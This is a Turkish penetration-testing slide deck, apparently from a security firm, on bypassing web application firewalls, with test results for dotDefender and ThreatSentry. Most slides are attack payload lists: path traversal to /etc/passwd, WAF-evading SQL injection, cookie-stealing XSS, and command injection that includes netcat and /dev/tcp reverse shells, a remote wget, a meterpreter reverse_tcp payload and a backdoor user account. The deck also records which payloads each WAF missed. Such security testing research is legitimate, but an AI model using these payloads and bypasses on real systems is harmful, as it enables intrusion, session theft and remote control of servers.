(W)eb (A)pplication (F)irewall Bypass

Ebat: px

Şu sayfadan göstermeyi başlat:

Download "(W)eb (A)pplication (F)irewall Bypass http://www.bga.com.tr bilgi@bga.com.tr"

Emre Mencik
8 yıl önce
İzleme sayısı:

1 (W)eb (A)pplication (F)irewall Bypass

2 Hakkımda Mehmet Dursun İnce ) Penetration Vuln. mehmet.ince@bga.com.tr

3 WAF Nedir? WAF nedir? Pentester WAF + Web Sunucusu Veri Tabanı Sistemi

4 SQLi XSS LFI RCE Command Injection Code Execution Testler Otomatize Tool lar ve WAF.

5 DMZ dotdefender CentOS 5.x MySQL Centos 5.x Pentester ModSecurity CentOS 5.x ThreadSentry Windows Server 2003 Sql Server 2008 Windows Server 2008

6 Payloads # File Inclusion../..%2F passwd../config.php..%2fconfig.php /etc/passwd../../../../../../../../../etc/passwd..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc..% 2Fpasswd php://filter/read=convert.base64- encode/resource=[file]

7 Payloads # SQL Injection a ' and '3'='3 ) and ('1')=('1 or 1=1 and 1=1 and 2>=1 and >=1920

8 Payloads # MySQL Injection and substring(@@version,1,1)>0 and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 192,282,333 And sleep(5) union+select+null%2cnull%2cload_file('lfi.php' )-- /*!UniOn*/%20/*!SElecT*/+192,282,333-- %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ% 0ASeLEcT+null,null,version()--

192,282,333 And sleep(5) union+select+null%2cnull%2cload_file('lfi.php' )-- /*!

9 Payloads # MsSQL Injection AND UNICODE(SUBSTRING(@@SERVERNAME,1,1)) > 1 %03AND%0CUNICODE%03(%03SUBSTRING%03( %03@@SERVERNAME%03,%031,1%03))%03>%0 31 %0DUNION%0DALL%0DSELECTNULL,NULL,@@SE RVERNAME-- IF(BINARY_CHECKSUM(7399)=BINARY_CHECKSU M(7399)) WAITFOR DELAY '0:0:5';

10 Payloads # XSS <script> <script></script> javascript alert(1) prompt(1) alert(/bga/) document.cookie <img srx=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d

11 Payloads # XSS <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></source></video> <body oninput=alert(1)><input autofocus> <frameset onload=alert(1)> <object data="data:text/html;base64,phnjcmlwdd5hbgvydcgxkt wvc2nyaxb0pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbgvydcgxktwv c2nyaxb0pg=="></embed> <script>({})[$='\143\157\156\163\164\162\165\143\164\1 57\162'][$]('\141\154\145\162\164\50document.cookie\5 1')()</script>

data="data:text/html;base64,phnjcmlwdd5hbgvydcgxkt wvc2nyaxb0pg=="></object> <embed

12 Payloads # Command Injection ; cat /etc/passwd ; echo selam > a ; cat../config.php && echo selam > a && cat../config.php ; wget /mince.txt

8.8.8 ; cat../config.php 8.8.8.8 && echo selam > a 8.

13 Payloads # Command Injection && telnet /bin/bash telnet telnet && mknod backpipe p && nc <backpipe /bin/bash 1>backpipe && /bin/bash -i > /dev/tcp/ /4444 0<&1 2>&1

14 Payloads # Code Execution./msfpayload php/meterpreter/reverse_tcp LHOST= LPORT=443 R./msfencode -e php/base64 -t raw

15 Applicure dotdefender «dotdefender is the perfect choice for protecting your website and web applications today.»

16 Applicure dotdefender Test Ortamı: CentOS 5.8 i386 sanal makine CentOS Full update Lisanslı dotdefender ve full update!

17 Applicure dotdefender File Inclusion Input :../config.php

18 Applicure dotdefender File Inclusion Input : /etc/passwd

19 Applicure dotdefender File Inclusion Input :../../../../../../../../../etc/passwd WAF detected!

20 Applicure dotdefender File Inclusion Saldırıyı engelleyen kural.

21 Applicure dotdefender File Inclusion Input : php://filter/read=convert.base64- encode/resource=/etc/passwd WAF trigger edilmedi

22 Applicure dotdefender SQL Injection a ' and '3'='3 ( and ('1')=('1 or 1=1 and 1=1 and 2>=1 and >=1920 Yeşil olan payload lar WAF tarafından engellenmeyen talepleri ifade etmektedir!

23 Applicure dotdefender MySQL Injection and and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 1,2,3-- union select 192,282,333 And sleep(5) union+select+null%2cnull%2cload_file('lfi.php ')-- /*!UniOn*/%20/*!SElecT*/+192,282,333-- %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ %0ASeLEcT+3,null,version()

24 Applicure dotdefender MsSQL Injection AND > 1 %03AND%0CUNICODE%03(%03SUBSTRING%0 3(%03@@SERVERNAME%03,%031,1%03))%0 3>%031 %0DUNION%0DALL%0DSELECT%0DNULL,NUL L,@@SERVERNAME IF(BINARY_CHECKSUM(7399)=BINARY_CHECK SUM(7399)) WAITFOR DELAY '0:0:5';

25 Applicure dotdefender MsSQL Injection Input = WIN-UYB0EA2LDB6

26 Applicure dotdefender XSS Input = <script> Waf Blocked!

27 Applicure dotdefender XSS Input = alert() Waf Blocked! Input = prompt()

28 Applicure dotdefender XSS Input = <img src=bga onerror=prompt(document.cookie)//>

29 Applicure dotdefender XSS <img src=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></sourc e></video> <body oninput=prompt(1)><input autofocus> <frameset onload=prompt(1)>

30 Applicure dotdefender XSS <object data="data:text/html;base64,phnjcmlwdd5hb GVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbg VydCgxKTwvc2NyaXB0Pg=="></embed> ({})[$='\143\157\156\163\164\162\165\143\ 164\157\162'][$]('\141\154\145\162\164\50 document.cookie\51')()

31 Applicure dotdefender Command Inj. Input = ; cat /etc/passwd

Applicure dotdefender Command Inj. Input = 8.

32 Applicure dotdefender Command Inj. Input = && /bin/bash -i > /dev/tcp/ /4545 0<&1 2>&1 WAF bypass!

33 Applicure dotdefender Command Inj ; cat /etc/passwd ; echo selam > a ; cat../config.php && echo selam > a && cat../config.php ; wget /mince.txt && telnet /bin/bash telnet telnet && mknod backpipe p && nc <backpipe /bin/bash 1>backpipe && /bin/bash -i > /dev/tcp/ /8888 0<&1 2>&1

34 App. dotdefender HTTP Header HTTP Header ile gönderilen bilgilerin WAF tarafından incelenip incelenmediği test edilmiştir. User-Agent Cookie

35 App. dotdefender HTTP Header XSS User-Agent i boş olan talepleri, dotdefender saldırı olarak algılamaktadır.

36 App. dotdefender HTTP Header XSS Cookie değişkeni dotdefender tarafından takip edilmemektedir!

37 App. dotdefender Cookie SQL Inj. dotdefender Cookie değişkeni üzerinde bir inceleme yapmamaktadır. Bu nedenle cookie üzerinden SQL Injection saldırıları kolaylıkla gerçekleştirilebilir.

38 App. dotdefender Web Scanners Default kurulumda Saniyede 200 talebi aşan ip leri 10 dakikalığına banlanmaktadır.

39 App. dotdefender Netsparker Acunetix tüm zafiyetleri başarı ile tespit etmiştir.

40 App. dotdefender Acunetix Netsparker mssql.php üzerinde bulunan MsSQL Injection zafiyeti haricinde ki tüm zafiyetleri başarı ile tespit edebilmiştir.

41 Web Application Firewall & Intrusion Prevention Software for IIS ThreatSentry ntion.html

42 ThreatSentry Test Ortamı: Windows Server bit sanal makine Full Windows update Tüm özellikleri aktif, 30 günlük test sürümü.

43 ThreatSentry File Inclusion Input :../config.php

44 ThreatSentry File Inclusion Input :../../../../../../../../../ WAF tespit edemedi.

45 ThreatSentry File Inclusion Input : php://filter/read=convert.base64- encode/resource=/etc/passwd WAF blocked!

46 ThreatSentry SQL Injection a ' and '3'='3 ( and ('1')=('1 or 1=1 and 1=1 and 2>=1 and >=1920 Yeşil olan payload lar WAF tarafından engellenmeyen talepleri ifade etmektedir!

47 ThreatSentry MySQL Injection and and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 1,2,3-- And sleep(5) union+select+null%2cnull%2cload_file('lfi. php')-- /*!UniOn*/%20/*!SElecT*/+192,282,333 %23PTTmJopxdWJ%0AUNION%23PTTmJopxd WJ%0ASeLEcT+3,null,version()

48 ThreatSentry MsSQL Injection AND UNICODE(SUBSTRING(DB_NAME(),1,1)) > 1 %03AND%0CUNICODE%03(%03SUBSTRING%0 3(%03DB_NAME()%03,%031,1%03))%03>%03 1 %0DUNION%0DALL%0DSELECT%0DNULL,NUL L,DB_NAME() IF(BINARY_CHECKSUM(7399)=BINARY_CHECK SUM(7399)) WAITFOR DELAY '0:0:5';

49 ThreatSentry MsSQL Injection Input = UNION%0DALL%0DSELECT%0DNULL,NULL,DB _NAME() waftest

50 ThreatSentry XSS Input = <script> Waf Blocked!

51 ThreatSentry XSS Input = <img src=x:x onerror=prompt(document.cookie)//>

52 ThreatSentry XSS A Input = <body oninput=prompt(document.cookie)><input autofocus>

53 ThreatSentry XSS <img src=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></sourc e></video> <body oninput=prompt(1)><input autofocus> <frameset onload=prompt(1)>

54 ThreatSentry XSS <object data="data:text/html;base64,phnjcmlwdd5hb GVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbg VydCgxKTwvc2NyaXB0Pg=="></embed> ({})[$='\143\157\156\163\164\162\165\143\ 164\157\162'][$]('\141\154\145\162\164\50 document.cookie\51')()

55 ThreatSentry Command Inj. Cmd.exe /C dir nc.exe net user mince M1nc3 /add

56 ThreatSentry HTTP Header XSS User-Agent değişkeni ThreatSentry tarafından takip edilmemektedir!

57 ThreatSentry Netsparker Netsparker tüm zafiyetleri başarı ile tespit etmiştir.

58 ThreatSentry Acunetix Acunetix tüm zafiyetleri başarı ile tespit etmiştir.

59 Örnek Uygulama - 1

60 HTTP PARAMETER POLLUTION

61 Örnek Uygulama - 2

62 Teşekkürler

Benzer belgeler

Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi Konu: Girdi Denetimi @2014 Örnek Eğitim Notu bilgi@bga.com.tr Girdi Denetimi Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir. Bir çok saldırı